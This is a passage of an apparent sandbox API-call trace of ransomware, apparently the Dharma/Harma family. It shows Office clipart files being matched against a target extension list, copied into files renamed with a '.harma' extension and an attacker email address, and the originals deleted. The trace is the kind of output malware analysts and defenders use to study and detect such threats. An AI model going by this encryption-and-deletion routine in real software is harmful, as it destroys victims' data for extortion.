Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0066.336] lstrlenW (lpString=".dbf") returned 4 [0066.336] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0066.336] lstrlenW (lpString=".1cd") returned 4 [0066.336] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0066.336] lstrlenW (lpString=".jpg") returned 4 [0066.336] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.336] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.336] lstrlenW (lpString="AG00157_.GIF") returned 12 [0066.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0066.338] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4955) returned 1 [0066.338] CloseHandle (hObject=0x1a0) returned 1 [0066.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0066.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0066.338] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.338] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0066.339] GetLastError () returned 0x0 [0066.339] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x135b, lpOverlapped=0x0) returned 1 [0066.341] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1360, lpOverlapped=0x0) returned 1 [0066.342] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0066.342] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.342] SetEndOfFile (hFile=0x21c) returned 1 [0066.343] CloseHandle (hObject=0x21c) returned 1 [0066.343] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.343] SetEndOfFile (hFile=0x1a0) returned 1 [0066.344] CloseHandle (hObject=0x1a0) returned 1 [0066.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0066.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0066.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0066.344] lstrlenW (lpString=".doc") returned 4 [0066.344] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.344] lstrlenW (lpString=".docx") returned 5 [0066.344] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.344] lstrlenW (lpString=".pdf") returned 4 [0066.344] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.344] lstrlenW (lpString=".xls") returned 4 [0066.344] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.344] lstrlenW (lpString=".xlsx") returned 5 [0066.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.345] lstrlenW (lpString=".ppt") returned 4 [0066.345] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0066.345] lstrlenW (lpString=".zip") returned 4 [0066.345] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.345] lstrlenW (lpString=".rar") returned 4 [0066.345] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.345] lstrlenW (lpString=".bz2") returned 4 [0066.345] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.345] lstrlenW (lpString=".7z") returned 3 [0066.345] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0066.345] lstrlenW (lpString=".dbf") returned 4 [0066.345] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0066.345] lstrlenW (lpString=".1cd") returned 4 [0066.345] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0066.345] lstrlenW (lpString=".jpg") returned 4 [0066.345] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0066.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0066.345] lstrlenW (lpString=".doc") returned 4 [0066.345] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.345] lstrlenW (lpString=".docx") returned 5 [0066.345] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.345] lstrlenW (lpString=".pdf") returned 4 [0066.345] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.345] lstrlenW (lpString=".xls") returned 4 [0066.345] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.345] lstrlenW (lpString=".xlsx") returned 5 [0066.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.346] lstrlenW (lpString=".ppt") returned 4 [0066.346] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0066.346] lstrlenW (lpString=".zip") returned 4 [0066.346] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.346] lstrlenW (lpString=".rar") returned 4 [0066.346] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.346] lstrlenW (lpString=".bz2") returned 4 [0066.346] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.346] lstrlenW (lpString=".7z") returned 3 [0066.346] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0066.346] lstrlenW (lpString=".dbf") returned 4 [0066.346] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0066.346] lstrlenW (lpString=".1cd") returned 4 [0066.346] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0066.346] lstrlenW (lpString=".jpg") returned 4 [0066.346] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.346] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.346] lstrlenW (lpString="AG00158_.GIF") returned 12 [0066.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0066.347] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5030) returned 1 [0066.347] CloseHandle (hObject=0x1a0) returned 1 [0066.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0066.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0066.347] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.347] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0066.348] GetLastError () returned 0x0 [0066.348] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x13a6, lpOverlapped=0x0) returned 1 [0066.349] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x13b0, lpOverlapped=0x0) returned 1 [0066.351] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0066.351] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.351] SetEndOfFile (hFile=0x21c) returned 1 [0066.351] CloseHandle (hObject=0x21c) returned 1 [0066.351] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.351] SetEndOfFile (hFile=0x1a0) returned 1 [0066.352] CloseHandle (hObject=0x1a0) returned 1 [0066.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0066.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0066.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0066.353] lstrlenW (lpString=".doc") returned 4 [0066.353] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.353] lstrlenW (lpString=".docx") returned 5 [0066.353] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.353] lstrlenW (lpString=".pdf") returned 4 [0066.353] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.353] lstrlenW (lpString=".xls") returned 4 [0066.353] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.353] lstrlenW (lpString=".xlsx") returned 5 [0066.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.353] lstrlenW (lpString=".ppt") returned 4 [0066.353] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0066.353] lstrlenW (lpString=".zip") returned 4 [0066.353] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.353] lstrlenW (lpString=".rar") returned 4 [0066.353] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.353] lstrlenW (lpString=".bz2") returned 4 [0066.353] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.353] lstrlenW (lpString=".7z") returned 3 [0066.353] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0066.353] lstrlenW (lpString=".dbf") returned 4 [0066.353] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0066.353] lstrlenW (lpString=".1cd") returned 4 [0066.353] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0066.354] lstrlenW (lpString=".jpg") returned 4 [0066.354] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0066.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0066.354] lstrlenW (lpString=".doc") returned 4 [0066.354] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.354] lstrlenW (lpString=".docx") returned 5 [0066.354] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.354] lstrlenW (lpString=".pdf") returned 4 [0066.354] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.354] lstrlenW (lpString=".xls") returned 4 [0066.354] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.354] lstrlenW (lpString=".xlsx") returned 5 [0066.354] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.354] lstrlenW (lpString=".ppt") returned 4 [0066.354] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0066.354] lstrlenW (lpString=".zip") returned 4 [0066.354] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.354] lstrlenW (lpString=".rar") returned 4 [0066.354] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.354] lstrlenW (lpString=".bz2") returned 4 [0066.354] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.354] lstrlenW (lpString=".7z") returned 3 [0066.354] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0066.354] lstrlenW (lpString=".dbf") returned 4 [0066.354] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0066.355] lstrlenW (lpString=".1cd") returned 4 [0066.355] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0066.355] lstrlenW (lpString=".jpg") returned 4 [0066.355] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.355] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.355] lstrlenW (lpString="AG00160_.GIF") returned 12 [0066.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0066.355] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1146) returned 1 [0066.355] CloseHandle (hObject=0x1a0) returned 1 [0066.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0066.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0066.356] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.356] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0066.356] GetLastError () returned 0x0 [0066.356] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x47a, lpOverlapped=0x0) returned 1 [0066.438] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x480, lpOverlapped=0x0) returned 1 [0066.439] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0066.439] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.439] SetEndOfFile (hFile=0x21c) returned 1 [0068.111] CloseHandle (hObject=0x21c) returned 1 [0068.112] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.112] SetEndOfFile (hFile=0x1a0) returned 1 [0068.131] CloseHandle (hObject=0x1a0) returned 1 [0068.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0068.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0068.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0068.148] lstrlenW (lpString=".doc") returned 4 [0068.148] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.148] lstrlenW (lpString=".docx") returned 5 [0068.148] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.148] lstrlenW (lpString=".pdf") returned 4 [0068.148] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.148] lstrlenW (lpString=".xls") returned 4 [0068.148] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.148] lstrlenW (lpString=".xlsx") returned 5 [0068.148] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.148] lstrlenW (lpString=".ppt") returned 4 [0068.148] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0068.148] lstrlenW (lpString=".zip") returned 4 [0068.148] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.148] lstrlenW (lpString=".rar") returned 4 [0068.148] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.148] lstrlenW (lpString=".bz2") returned 4 [0068.148] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.148] lstrlenW (lpString=".7z") returned 3 [0068.148] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0068.148] lstrlenW (lpString=".dbf") returned 4 [0068.148] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0068.148] lstrlenW (lpString=".1cd") returned 4 [0068.148] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0068.149] lstrlenW (lpString=".jpg") returned 4 [0068.149] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0068.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0068.149] lstrlenW (lpString=".doc") returned 4 [0068.149] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.149] lstrlenW (lpString=".docx") returned 5 [0068.149] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.149] lstrlenW (lpString=".pdf") returned 4 [0068.149] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.149] lstrlenW (lpString=".xls") returned 4 [0068.149] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.149] lstrlenW (lpString=".xlsx") returned 5 [0068.149] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.149] lstrlenW (lpString=".ppt") returned 4 [0068.149] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0068.149] lstrlenW (lpString=".zip") returned 4 [0068.149] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.149] lstrlenW (lpString=".rar") returned 4 [0068.149] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.149] lstrlenW (lpString=".bz2") returned 4 [0068.149] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.149] lstrlenW (lpString=".7z") returned 3 [0068.149] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0068.149] lstrlenW (lpString=".dbf") returned 4 [0068.149] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0068.149] lstrlenW (lpString=".1cd") returned 4 [0068.150] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0068.150] lstrlenW (lpString=".jpg") returned 4 [0068.150] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.150] lstrcmpiW (lpString1=".GIF", 